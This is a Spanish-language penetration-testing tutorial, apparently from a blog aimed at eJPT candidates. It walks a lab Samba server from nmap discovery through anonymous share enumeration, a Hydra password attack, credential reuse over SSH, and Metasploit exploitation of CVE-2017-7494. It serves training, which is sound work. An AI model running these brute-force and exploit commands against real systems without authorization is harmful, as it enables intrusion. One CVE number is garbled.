Hacking Samba: guía completa de enumeración y explotación

ejpt

Muchos ven a Samba como simples archivos y carpetas compartidas y lo dejan de lado durante una prueba de intrusión, cuando en realidad puede ofrecer múltiples caminos para comprometer un servidor.

Por eso, en esta guía vamos a recorrer el proceso completo para enumerar Samba, abusar de configuraciones inseguras, realizar ataques de contraseñas y explotar vulnerabilidades para obtener acceso al sistema, siguiendo un enfoque de pentesting ofensivo aplicable a auditorías reales, máquinas vulnerables y exámenes de certificación.

¿Qué es Samba?

Samba es una implementación del protocolo SMB (Server Message Block) utilizada principalmente en sistemas Linux y Unix para compartir archivos, carpetas, impresoras y otros recursos con equipos Windows.

SMB suele operar sobre el puerto TCP 445. Durante un pentest, encontrar este servicio expuesto puede revelar recursos compartidos, archivos internos, usuarios válidos, permisos inseguros, credenciales débiles o incluso versiones asociadas a vulnerabilidades conocidas.

En esta guía seguiremos el flujo completo desde el descubrimiento inicial hasta conseguir ejecución remota de comandos.

Descubrimiento del objetivo

Antes de analizar Samba necesitamos identificar qué sistemas están activos dentro de la red:

nmap -sn 10.60.10.0/24

A partir de este punto continuaremos la enumeración sobre ese host.

Escaneo de puertos

El siguiente paso consiste en descubrir qué puertos está exponiendo el sistema:

nmap -Pn -p- 10.60.10.100


 

Entre los servicios disponibles aparece TCP/445, utilizado habitualmente por SMB.

Identificar Samba y su versión

Ahora podemos analizar específicamente el puerto 445:

nmap -Pn -sV -p445 10.60.10.100


 

Para obtener información adicional del servicio SMB utilizamos:

nmap -Pn -p445 --script smb-os-discovery 10.60.10.100


 

En nuestro escenario identificamos: Samba 4.3.11

Conocer la versión será importante más adelante para investigar vulnerabilidades conocidas. Antes de llegar a esa fase, necesitamos entender qué está exponiendo el servicio.

Identificar las versiones de SMB disponibles

SMB dispone de diferentes versiones o dialectos, como SMB1, SMB2 y SMB3.

Podemos comprobar cuáles acepta el servidor con:

nmap -Pn -p445 --script smb-protocols 10.60.10.100


 

Esto amplía la información disponible sobre la configuración del servicio.

Enumerar shares y permisos

En SMB, un share es un recurso compartido publicado por el servidor, normalmente una carpeta.

Podemos comprobar qué recursos están disponibles sin proporcionar credenciales:

nxc smb 10.60.10.100 -u '' -p '' --shares


 

Además de conocer qué shares existen, debemos revisar sus permisos. public permite lectura, mientras que va_tmp permite lectura y escritura.

Acceso anónimo al share public

Probamos el recurso public sin utilizar credenciales y con el comando get descargamos el recurso compartido encontrado:

smbclient //10.60.10.100/public -N


 

Después revisamos el archivo:

cat staff.txt


 

Su contenido revela: james.wilson

Un recurso de solo lectura acaba de proporcionarnos un usuario válido que podremos utilizar en las siguientes fases.

Enumerar usuarios

También podemos intentar obtener directamente usuarios conocidos por Samba:

nxc smb 10.60.10.100 -u '' -p '' --users


 

En nuestro escenario identificamos:

james.wilson
sarah.miller
michael.brown

Ahora podemos realizar ataques utilizando nombres obtenidos directamente durante la enumeración.

Password Attack contra SMB

Utilizamos Hydra con nuestra lista de usuarios y el diccionario rockyou.txt:

hydra -l sarah.miller -P /usr/share/wordlists/rockyou.txt smb://10.60.10.100 -V


 
 

El ataque identifica una credencial válida:

sarah.miller:london

Encontrar una contraseña no significa que la enumeración haya terminado. Una nueva credencial nos permite volver a analizar el servicio desde una posición autenticada.

Validar la credencial y volver a enumerar

Primero comprobamos que la credencial funciona realmente contra SMB:

nxc smb 10.60.10.100 -u sarah.miller -p london


 

Después volvemos a enumerar los recursos compartidos:

nxc smb 10.60.10.100 -u sarah.miller -p london --shares


 

Una nueva credencial debe producir una nueva fase de enumeración.

Acceder al share internal

Durante la enumeración anónima habíamos comprobado que internal estaba restringido.

Ahora podemos acceder utilizando las credenciales obtenidas:

smbclient //10.60.10.100/internal -U sarah.miller
Password: london

Dentro:

ls
get employee-data.csv
exit

Y revisamos el archivo:

cat employee-data.csv


 

El recurso que antes estaba bloqueado ahora es accesible gracias a la autenticación.

Comprobar reutilización de credenciales

La reutilización de credenciales ocurre cuando una misma combinación de usuario y contraseña funciona en varios servicios.

Durante el escaneo inicial identificamos también SSH, por lo que podemos comprobar si sarah.miller:london funciona.

ssh sarah.miller@10.60.10.100
Password: london



 
 

La misma credencial funciona en SMB y SSH.

En este punto ya hemos conseguido acceso al sistema sin explotar ninguna vulnerabilidad de Samba.

Buscar vulnerabilidades en Samba

Durante la identificación del servicio obtuvimos: Samba 4.3.11

Ahora podemos utilizar esa versión para investigar vulnerabilidades conocidas:

searchsploit Samba 4.3.11


 

Entre los resultados aparece:

Samba 3.5.0 < 4.4.14/4.5.10/4.6.4
is_known_pipename() Arbitrary Module Load

Nuestra versión, 4.3.11, se encuentra dentro del rango afectado.

Podemos inspeccionar el exploit:

searchsploit -x 42084


 

La vulnerabilidad corresponde a CVE-2017-74q94, que puede permitir ejecución remota de código cuando se cumplen determinadas condiciones.

Validar los requisitos del exploit

Encontrar una versión dentro de un rango vulnerable no demuestra automáticamente que el servidor pueda explotarse.

Uno de los requisitos relevantes de CVE-2017-7494 es disponer de un recurso SMB escribible.

Durante nuestra enumeración ya habíamos identificado:

va_tmp      READ,WRITE

Ese hallazgo adquiere ahora importancia.

Explotar Samba con Metasploit

Abrimos Metasploit, buscamos la vulnerabilidad:

msfconsole
search CVE-2017-7494


 

Seleccionamos, reviamos opciones y configuramos:

use exploit/linux/samba/is_known_pipename
options
set RHOSTS 10.60.10.100


 

Validamos y si todo va bien ejecutamos el exploit:

check
run
whoami


Si el servidor responde, hemos confirmado la ejecución remota de comandos.

En este punto termina nuestro escenario.

Conclusiones

Este escenario muestra dos rutas distintas para comprometer el mismo servidor.

La primera surge de la enumeración de usuarios y de una contraseña débil. Después de obtener sarah.miller:london, podemos acceder a recursos SMB restringidos y comprobar que las mismas credenciales también funcionan contra FTP y SSH.

La segunda parte de la versión del servicio. Samba 4.3.11 se encuentra dentro del rango afectado por CVE-2017-7494 y el servidor dispone además de un share escribible que satisface uno de los requisitos del exploit. Al combinar ambos hallazgos conseguimos ejecución remota de comandos.

La idea principal es simple: un pentest no consiste en buscar un exploit lo antes posible. Una buena enumeración puede revelar credenciales, información y configuraciones inseguras que proporcionen acceso por sí mismas o que resulten necesarias para explotar una vulnerabilidad posteriormente.

¿Te estás preparando seriamente para el examen eJPT?

He creado una eJPT Exam Study Guide para ayudarte a identificar qué temas debes dominar, cómo organizar tu preparación y qué practicar antes del examen.

📘 Accede a la guía aquí:

Nos vemos en la próxima guía,

Fernando Conislla

eJPT · eCPPT · eWPT · eMAPT · CEH

Especialista en Pentesting y Seguridad Ofensiva